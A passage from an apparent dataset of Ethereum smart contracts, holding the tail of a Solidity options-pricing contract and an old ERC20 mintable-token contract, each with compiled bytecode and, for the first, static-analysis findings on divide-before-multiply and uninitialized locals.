res += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = (z * y) / FIXED_1;
res += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = (z * y) / FIXED_1;
res += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000001; // add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0)
res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3)
if ((x & 0x020000000000000000000000000000000) != 0)
res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2)
if ((x & 0x040000000000000000000000000000000) != 0)
res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1)
if ((x & 0x080000000000000000000000000000000) != 0)
res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0)
if ((x & 0x100000000000000000000000000000000) != 0)
res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1)
if ((x & 0x200000000000000000000000000000000) != 0)
res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2)
if ((x & 0x400000000000000000000000000000000) != 0)
res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3)
return res;
}
function quote(address tokenIn, address tokenOut, uint t) public view returns (uint call, uint put) {
uint _price = price(tokenIn, tokenOut);
return quotePrice(tokenIn, tokenOut, t, _price, _price);
}
function price(address tokenIn, address tokenOut) public view returns (uint) {
if (tokenIn == WETH) {
return KV1O.current(WETH, 1e18, tokenOut);
} else {
uint _weth = KV1O.current(tokenIn, uint(10)**IERC20(tokenIn).decimals(), WETH);
return KV1O.current(WETH, _weth, tokenOut);
}
}
function quotePrice(address tokenIn, address tokenOut, uint t, uint sp, uint st) public view returns (uint call, uint put) {
uint v = rVol(tokenIn, tokenOut, 4, 24);
return quoteAll(t, v, sp, st);
}
function quoteAll(uint t, uint v, uint sp, uint st) public pure returns (uint call, uint put) {
uint _c;
uint _p;
if (sp > st) {
_c = C(t, v, sp, st);
_p = st-sp+_c;
} else {
_p = C(t, v, st, sp);
_c = st-sp+_p;
}
return (_c, _p);
}
function C(uint t, uint v, uint sp, uint st) public pure returns (uint) {
if (sp == st) {
return LNX * sp / 1e10 * v / 1e18 * sqrt(1e18 * t / 365) / 1e9;
}
uint sigma = ((v**2)/2);
uint sigmaB = 1e36;
uint sig = 1e18 * sigma / sigmaB * t / 365;
uint sSQRT = v * sqrt(1e18 * t / 365) / 1e9;
uint d1 = 1e18 * ln(FIXED_1 * sp / st) / FIXED_1;
d1 = (d1 + sig) * 1e18 / sSQRT;
uint d2 = d1 - sSQRT;
uint cdfD1 = ncdf(FIXED_1 * d1 / 1e18);
uint cdfD2 = cdf(int(FIXED_1) * int(d2) / 1e18);
return sp * cdfD1 / 1e14 - st * cdfD2 / 1e14;
}
function ncdf(uint x) public pure returns (uint) {
int t1 = int(1e7 + (2315419 * x / FIXED_1));
uint exp = x / 2 * x / FIXED_1;
int d = int(3989423 * FIXED_1 / optimalExp(uint(exp)));
uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1);
if( x > 0 ) prob = 1e14 - prob;
return prob;
}
/**
* @notice Takes the absolute value of a given number
* @dev Helper function
* @param _number The specified number
* @return The absolute value of the number
*/
function abs(int256 _number) public pure returns (uint256) {
return _number < 0 ? uint256(_number * (-1)) : uint256(_number);
}
function cdf(int x) public pure returns (uint) {
int t1 = int(1e7 + int(2315419 * abs(x) / FIXED_1));
uint exp = uint(x / 2 * x) / FIXED_1;
int d = int(3989423 * FIXED_1 / optimalExp(uint(exp)));
uint prob = uint(d * (3193815 + ( -3565638 + (17814780 + (-18212560 + 13302740 * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1) * 1e7 / t1);
if( x > 0 ) prob = 1e14 - prob;
return prob;
}
function generalLog(uint256 x) public pure returns (uint) {
uint res = 0;
// If x >= 2, then we compute the integer part of log2(x), which is larger than 0.
if (x >= FIXED_2) {
uint8 count = floorLog2(x / FIXED_1);
x >>= count; // now x < 2
res = count * FIXED_1;
}
// If x > 1, then we compute the fraction part of log2(x), which is larger than 0.
if (x > FIXED_1) {
for (uint8 i = 127; i > 0; --i) {
x = (x * x) / FIXED_1; // now 1 < x < 4
if (x >= FIXED_2) {
x >>= 1; // now 1 < x < 2
res += uint(1) << (i - 1);
}
}
}
return res * LOG_10_2 / BASE;
}
function sqrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function vol(uint[] memory p) public pure returns (uint x) {
for (uint8 i = 1; i <= (p.length-1); i++) {
x += ((generalLog(p[i] * FIXED_1) - generalLog(p[i-1] * FIXED_1)))**2;
//denom += FIXED_1**2;
}
//return (sum, denom);
x = sqrt(uint(252) * sqrt(x / (p.length-1)));
return uint(1e18) * x / SQRT_1;
}
function rVol(address tokenIn, address tokenOut, uint points, uint window) public view returns (uint) {
return vol(KV1O.sample(tokenIn, uint(10)**IERC20(tokenIn).decimals(), tokenOut, points, window));
}
function rVolHourly(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 2);
}
function rVolDaily(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 48);
}
function rVolWeekly(address tokenIn, address tokenOut, uint points) external view returns (uint) {
return rVol(tokenIn, tokenOut, points, 336);
}
function rVolHourlyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 2);
}
function rVolDailyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 48);
}
function rVolWeeklyRecent(address tokenIn, address tokenOut) external view returns (uint) {
return rVol(tokenIn, tokenOut, 2, 336);
}
}
|
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806365c3c2b4116100c3578063b64663841161007c578063b64663841461049a578063c6a51535146104d0578063c801e06714610506578063d0b71b1e1461053c578063d3442edf14610559578063e031d453146105885761014d565b806365c3c2b414610363578063677342ce146103915780637f8290d0146103ae578063892f82f0146103d25780639505086214610475578063ad5c4648146104925761014d565b80632b00490d116101155780632b00490d146102445780632b9432a8146102725780633394f9ed146102a15780633a6fdf47146102d757806345b8bafc146103135780634c3eea9e146103465761014d565b80630969e8db146101525780630e755974146101ad578063101c5422146101ed5780631b5ac4b51461020a57806324d4e90a14610227575b600080fd5b610194600480360360a081101561016857600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608001356105b6565b6040805192835260208301919091528051918290030190f35b6101db600480360360408110156101c357600080fd5b506001600160a01b03813581169160200135166105e6565b60408051918252519081900360200190f35b6101db6004803603602081101561020357600080fd5b5035610600565b6101db6004803603602081101561022057600080fd5b50356106ce565b6101db6004803603602081101561023d57600080fd5b50356106e4565b6101db6004803603604081101561025a57600080fd5b506001600160a01b038135811691602001351661077a565b6101946004803603608081101561028857600080fd5b5080359060208101359060408101359060600135610a2b565b6101db600480360360608110156102b757600080fd5b506001600160a01b03813581169160208101359091169060400135610a75565b6101db600480360360808110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135610a8c565b6103306004803603602081101561032957600080fd5b5035610c4f565b6040805160ff9092168252519081900360200190f35b6101db6004803603602081101561035c57600080fd5b5035610cb0565b6101db6004803603604081101561037957600080fd5b506001600160a01b0381358116916020013516610d3f565b6101db600480360360208110156103a757600080fd5b5035610d4e565b6103b6610d85565b604080516001600160a01b039092168252519081900360200190f35b6101db600480360360208110156103e857600080fd5b81019060208101813564010000000081111561040357600080fd5b82018360208201111561041557600080fd5b8035906020019184602083028401116401000000008311171561043757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d9d945050505050565b6101db6004803603602081101561048b57600080fd5b5035610e3e565b6103b66111e2565b610194600480360360608110156104b057600080fd5b506001600160a01b038135811691602081013590911690604001356111fa565b6101db600480360360608110156104e657600080fd5b506001600160a01b03813581169160208101359091169060400135611225565b6101db6004803603606081101561051c57600080fd5b506001600160a01b03813581169160208101359091169060400135611234565b6101db6004803603602081101561055257600080fd5b5035611244565b6101db6004803603608081101561056f57600080fd5b5080359060208101359060408101359060600135611323565b6101db6004803603604081101561059e57600080fd5b506001600160a01b0381358116916020013516611479565b60008060006105c9888860046018610a8c565b90506105d786828787610a2b565b92509250509550959350505050565b60006105f783836002610150610a8c565b90505b92915050565b6000806001607f1b6223549b8402046298968001905060006001607f1b846002868161062857fe5b04028161063157fe5b049050600061063f82610e3e565b623cdfaf607f1b8161064d57fe5b049050600083848586876578fcdaec22008161066557fe5b05630115e6cf190162989680028161067957fe5b0563010fd4fc0162989680028161068c57fe5b0562366845190162989680028161069f57fe5b056230bbd70183026298968002816106b357fe5b05905085156106c557655af3107a4000035b95945050505050565b60008082126106dd57816105fa565b5060000390565b600080600160801b83106107155760006107046001607f1b855b04610c4f565b60ff1693841c936001607f1b029150505b6001607f1b83111561076357607f5b60ff811615610761576001607f1b848002049350600160801b841061075857600193841c9360ff6000198301161b91909101905b60001901610724565b505b6402540be40064019d25ddbe82025b049392505050565b60006001600160a01b03831673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2141561085657604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152670de0b6b3a764000060248201526001600160a01b038416604482015290517373353801921417f465377c8d898c6f4c0270282c9163a75d39c2916064808301926020929190829003018186803b15801561082357600080fd5b505afa158015610837573d6000803e3d6000fd5b505050506040513d602081101561084d57600080fd5b505190506105fa565b60007373353801921417f465377c8d898c6f4c0270282c6001600160a01b031663a75d39c285866001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b557600080fd5b505afa1580156108c9573d6000803e3d6000fd5b505050506040513d60208110156108df57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039093166004840152600a9190910a602483015273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26044830152516064808301926020929190829003018186803b15801561094b57600080fd5b505afa15801561095f573d6000803e3d6000fd5b505050506040513d602081101561097557600080fd5b5051604080516353ae9ce160e11b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26004820152602481018390526001600160a01b038616604482015290519192507373353801921417f465377c8d898c6f4c0270282c9163a75d39c291606480820192602092909190829003018186803b1580156109f657600080fd5b505afa158015610a0a573d6000803e3d6000fd5b505050506040513d6020811015610a2057600080fd5b505191506105fa9050565b60008060008084861115610a5257610a4588888888611323565b9150508484038101610a68565b610a5e88888789611323565b9050808686030191505b9097909650945050505050565b6000610a848484846002610a8c565b949350505050565b60006106c57373353801921417f465377c8d898c6f4c0270282c6001600160a01b0316630a79339887886001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610aee57600080fd5b505afa158015610b02573d6000803e3d6000fd5b505050506040513d6020811015610b1857600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b039384166004820152600a9290920a602483015291891660448201526064810188905260848101879052905160a4808301926000929190829003018186803b158015610b8157600080fd5b505afa158015610b95573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610bbe57600080fd5b8101908080516040519392919084640100000000821115610bde57600080fd5b908301906020820185811115610bf357600080fd5b8251866020820283011164010000000082111715610c1057600080fd5b82525081516020918201928201910280838360005b83811015610c3d578181015183820152602001610c25565b50505050905001604052505050610d9d565b600080610100831015610c77575b6001831115610c7257600192831c9201610c5d565b6105fa565b60805b60ff811615610ca957600160ff82161b8410610c9e5760ff81169390931c92908117905b60011c607f16610c7a565b5092915050565b600080600160801b8310610cdf576000610cce6001607f1b856106fe565b60ff1693841c936001607f1b029150505b6001607f1b831115610d2d57607f5b60ff811615610d2b576001607f1b848002049350600160801b8410610d2257600193841c9360ff6000198301161b91909101905b60001901610cee565b505b6402540be40063b36d88358202610772565b60006105f78383600280610a8c565b80600260018201045b81811015610d7f57809150600281828581610d6e57fe5b040181610d7757fe5b049050610d57565b50919050565b7373353801921417f465377c8d898c6f4c0270282c81565b600060015b60018351038160ff1611610e00576002610dda6001607f1b856001850360ff1681518110610dcc57fe5b602002602001015102610cb0565b610df16001607f1b868560ff1681518110610dcc57fe5b030a9190910190600101610da2565b50610e22610e1a60018451038381610e1457fe5b04610d4e565b60fc02610d4e565b67b504f333f9de6484670de0b6b3a76400009091020492915050565b6000670168244fdac780006001607f1b6f0fffffffffffffffffffffffffffffff84168080028290048082028390048083028490049485026710e1b3be415a00009092026705a0913f6b1e000091909102010192909181830204905080664807432bc1800002830192506001607f1b82820281610eb757fe5b04905080660c0135dca0400002830192506001607f1b82820281610ed757fe5b049050806601b707b1cdc00002830192506001607f1b82820281610ef757fe5b049050806536e0f639b80002830192506001607f1b82820281610f1657fe5b04905080650618fee9f80002830192506001607f1b82820281610f3557fe5b04905080649c197dcc0002830192506001607f1b82820281610f5357fe5b04905080640e30dce40002830192506001607f1b82820281610f7157fe5b0490508064012ebd130002830192506001607f1b82820281610f8f57fe5b049050806317499f0002830192506001607f1b82820281610fac57fe5b049050806301a9d48002830192506001607f1b82820281610fc957fe5b04905080621c638002830192506001607f1b82820281610fe557fe5b049050806201c63802830192506001607f1b8282028161100157fe5b04905080611ab802830192506001607f1b8282028161101c57fe5b0490508061017c02830192506001607f1b8282028161103757fe5b04905080601402830192506001607f1b8282028161105157fe5b6721c3677c82b400009190049384010482016001607f1b019290506001607c1b8516156110a25770018ebef9eac820ae8682b9793ac6d1e7767001c3d6a24ed82218787d624d3e5eba95f984020492505b6001607d1b8516156110d8577001368b2fc6f9609fe7aceb46aa619baed470018ebef9eac820ae8682b9793ac6d1e77884020492505b6001607e1b85161561110d576fbc5ab1b16779be3575bd8f0520a9f21f7001368b2fc6f9609fe7aceb46aa619baed584020492505b6001607f1b851615611141576f454aaa8efe072e7f6ddbab84b40a55c96fbc5ab1b16779be3575bd8f0520a9f21e84020492505b600160801b851615611175576f0960aadc109e7a3bf4578099615711ea6f454aaa8efe072e7f6ddbab84b40a55c584020492505b600160811b8516156111a8576e2bf84208204f5977f9a8cf01fdce3d6f0960aadc109e7a3bf4578099615711d784020492505b600160821b8516156111d9576d03c6ab775dd0b95b4cbee7e65d116e2bf84208204f5977f9a8cf01fdc30784020492505b50909392505050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6000806000611209868661077a565b905061121886868684856105b6565b9250925050935093915050565b6000610a848484846030610a8c565b6000610a84848484610150610a8c565b6000806001607f1b611255846106ce565b6223549b028161126157fe5b046298968001905060006001607f1b846002868161127b57fe5b05028161128457fe5b049050600061129282610e3e565b623cdfaf607f1b816112a057fe5b049050600083848586876578fcdaec2200816112b857fe5b05630115e6cf19016298968002816112cc57fe5b0563010fd4fc016298968002816112df57fe5b056236684519016298968002816112f257fe5b056230bbd701830262989680028161130657fe5b05905060008613156106c557655af3107a40000395945050505050565b60008183141561137257633b9aca0061134861016d670de0b6b3a76400008802610e14565b670de0b6b3a76400006402540be40063edba8b13870204870204028161136a57fe5b049050610a84565b600280850a046ec097ce7bc90715b34b9f1000000000600061016d670de0b6b3a7640000840283900489020490506000633b9aca006113bd61016d670de0b6b3a76400008c02610e14565b8902816113c657fe5b04905060006001607f1b6113e8888a6001607f1b02816113e257fe5b046106e4565b670de0b6b3a764000002816113f957fe5b04905081838201670de0b6b3a7640000028161141157fe5b0490508181036000611432670de0b6b3a76400006001607f1b850204610600565b9050600061144f670de0b6b3a76400006001607f1b850205611244565b9050655af3107a40008a820204655af3107a40008c840204039d9c50505050505050505050505050565b60006105f7838360026030610a8c56fea26469706673582212200efff5184b425be562f21366fc2fc96d9eb3c0aacf48526c28f5f16e932e6d5164736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,204 |
0xf867a9bc367416f58845ac5ccb35e6bd93be2087
|
pragma solidity ^0.4.21;
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract StandardToken is ERC20, BurnableToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will recieve the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract SUCoin is MintableToken {
string public constant name = "SU Coin";
string public constant symbol = "SUCoin";
uint32 public constant decimals = 18;
}
contract SUTokenContract is Ownable {
using SafeMath for uint;
event doiVerificationEvent(bytes32 _doiHash, bytes32 _hash);
SUCoin public token = new SUCoin();
bool ifInit = true;
uint public tokenDec = 1000000000000000000; //18
address manager;
mapping (address => mapping (uint => bool)) idMap;
mapping(bytes32 => bool) hashMap;
mapping (uint => uint) mintInPeriod;
uint public mintLimit = tokenDec.mul(10000);
uint public period = 30 * 1 days; // 30 дней
uint public startTime = now;
function SUTokenContract(){
owner = msg.sender;
manager = msg.sender;
token = SUCoin(0x64734D2FEDCD1A208375b5Ea6dC14F4482b47D52);
}
function initMinting() onlyOwner returns (bool) {
require(!ifInit);
require(token.mint(address(this), tokenDec.mul(50000)));
ifInit = true;
return true;
}
function transferTokenOwnership(address _newOwner) onlyOwner {
token.transferOwnership(_newOwner);
}
function mint(address _to, uint _value) onlyOwner {
uint currPeriod = now.sub(startTime).div(period);
require(mintLimit>= _value.add(mintInPeriod[currPeriod]));
require(token.mint(_to, _value));
mintInPeriod[currPeriod] = mintInPeriod[currPeriod].add(_value);
}
function burn(uint256 _value) onlyOwner {
token.burn(_value);
}
function tokenTotalSupply() constant returns (uint256) {
return token.totalSupply();
}
function tokenContractBalance() constant returns (uint256) {
return token.balanceOf(address(this));
}
function tokentBalance(address _address) constant returns (uint256) {
return token.balanceOf(_address);
}
function transferToken(address _to, uint _value) onlyOwner returns (bool) {
return token.transfer(_to, _value);
}
function allowance( address _spender) constant returns (uint256 remaining) {
return token.allowance(address(this),_spender);
}
function allowanceAdd( address _spender, uint _value ) onlyOwner returns (bool) {
uint currAllowance = allowance( _spender);
require(token.approve( _spender, 0));
require(token.approve( _spender, currAllowance.add(_value)));
return true;
}
function allowanceSub( address _spender, uint _value ) onlyOwner returns (bool) {
uint currAllowance = allowance( _spender);
require(currAllowance>=_value);
require(token.approve( _spender, 0));
require(token.approve( _spender, currAllowance.sub(_value)));
return true;
}
function allowanceSubId( address _spender, uint _value, uint _id) onlyOwner returns (bool) {
uint currAllowance = allowance( _spender);
require(currAllowance>=_value);
require(token.approve( _spender, 0));
require(token.approve( _spender, currAllowance.sub(_value)));
idMap[_spender][_id] = true;
return true;
}
function storeId(address _address, uint _id) onlyOwner {
idMap[_address][_id] = true;
}
function storeHash(bytes32 _hash) onlyOwner {
hashMap[_hash] = true;
}
function storeDoi(bytes32 _doiHash, bytes32 _hash) onlyOwner {
doiVerificationEvent( _doiHash, _hash);
storeHash(_hash);
}
function idVerification(address _address, uint _id) constant returns (bool) {
return idMap[_address][_id];
}
function hashVerification(bytes32 _hash) constant returns (bool) {
return hashMap[_hash];
}
function mintInPeriodCount(uint _period) constant returns (uint) {
return mintInPeriod[_period];
}
function mintInCurrPeriodCount() constant returns (uint) {
uint currPeriod = now.sub(startTime).div(period);
return mintInPeriod[currPeriod];
}
}
|
0x6060604052600436106101395763ffffffff60e060020a600035041662dee43f811461013e5780631072cbea1461016557806319e5d0cb1461018757806321e6b53d146101af5780633e5beab9146101d057806340c10f19146101ef57806342966c681461021157806370387c5914610227578063767000c01461023d57806378e979251461025f5780637b6c0492146102725780637fe88885146102975780638da5cb5b146102ad57806394ae7ac3146102dc57806395b4b88d146102fe578063996517cf14610320578063ae5adac714610333578063ae7ba09a14610346578063c149259914610365578063dd791ce514610387578063e38da1a11461039a578063e4403507146103b3578063ef78d4fd146103c6578063f2fde38b146103d9578063f7abab9e146103f8578063fc0c546a1461040b575b600080fd5b341561014957600080fd5b61015161041e565b604051901515815260200160405180910390f35b341561017057600080fd5b610151600160a060020a036004351660243561052c565b341561019257600080fd5b61019d6004356105bb565b60405190815260200160405180910390f35b34156101ba57600080fd5b6101ce600160a060020a03600435166105cd565b005b34156101db57600080fd5b61019d600160a060020a036004351661064b565b34156101fa57600080fd5b6101ce600160a060020a03600435166024356106c2565b341561021c57600080fd5b6101ce6004356107e1565b341561023257600080fd5b610151600435610844565b341561024857600080fd5b6101ce600160a060020a0360043516602435610859565b341561026a57600080fd5b61019d6108a4565b341561027d57600080fd5b610151600160a060020a03600435166024356044356108aa565b34156102a257600080fd5b6101ce600435610a1b565b34156102b857600080fd5b6102c0610a51565b604051600160a060020a03909116815260200160405180910390f35b34156102e757600080fd5b610151600160a060020a0360043516602435610a60565b341561030957600080fd5b610151600160a060020a0360043516602435610b94565b341561032b57600080fd5b61019d610c65565b341561033e57600080fd5b61019d610c6b565b341561035157600080fd5b61019d600160a060020a0360043516610c9e565b341561037057600080fd5b610151600160a060020a0360043516602435610cf1565b341561039257600080fd5b61019d610d1c565b34156103a557600080fd5b6101ce600435602435610d22565b34156103be57600080fd5b61019d610d84565b34156103d157600080fd5b61019d610df2565b34156103e457600080fd5b6101ce600160a060020a0360043516610df8565b341561040357600080fd5b61019d610e57565b341561041657600080fd5b6102c0610e99565b6000805433600160a060020a0390811691161461043a57600080fd5b60015474010000000000000000000000000000000000000000900460ff161561046257600080fd5b600154600254600160a060020a03909116906340c10f1990309061048e9061c35063ffffffff610ea816565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156104d157600080fd5b5af115156104de57600080fd5b5050506040518051905015156104f357600080fd5b506001805474ff000000000000000000000000000000000000000019167401000000000000000000000000000000000000000017815590565b6000805433600160a060020a0390811691161461054857600080fd5b600154600160a060020a031663a9059cbb848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561059e57600080fd5b5af115156105ab57600080fd5b5050506040518051949350505050565b60009081526006602052604090205490565b60005433600160a060020a039081169116146105e857600080fd5b600154600160a060020a031663f2fde38b8260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b151561063857600080fd5b5af1151561064557600080fd5b50505050565b600154600090600160a060020a031663dd62ed3e308460405160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401602060405180830381600087803b15156106a657600080fd5b5af115156106b357600080fd5b50505060405180519392505050565b6000805433600160a060020a039081169116146106de57600080fd5b6107056008546106f960095442610ed390919063ffffffff16565b9063ffffffff610ee516565b60008181526006602052604090205490915061072890839063ffffffff610efc16565b600754101561073657600080fd5b600154600160a060020a03166340c10f19848460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561078c57600080fd5b5af1151561079957600080fd5b5050506040518051905015156107ae57600080fd5b6000818152600660205260409020546107cd908363ffffffff610efc16565b600091825260066020526040909120555050565b60005433600160a060020a039081169116146107fc57600080fd5b600154600160a060020a03166342966c688260405160e060020a63ffffffff84160281526004810191909152602401600060405180830381600087803b151561063857600080fd5b60009081526005602052604090205460ff1690565b60005433600160a060020a0390811691161461087457600080fd5b600160a060020a03909116600090815260046020908152604080832093835292905220805460ff19166001179055565b60095481565b60008054819033600160a060020a039081169116146108c857600080fd5b6108d18561064b565b9050838110156108e057600080fd5b600154600160a060020a031663095ea7b386600060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561093757600080fd5b5af1151561094457600080fd5b50505060405180519050151561095957600080fd5b600154600160a060020a031663095ea7b38661097b848863ffffffff610ed316565b60405160e060020a63ffffffff8516028152600160a060020a039092166004830152602482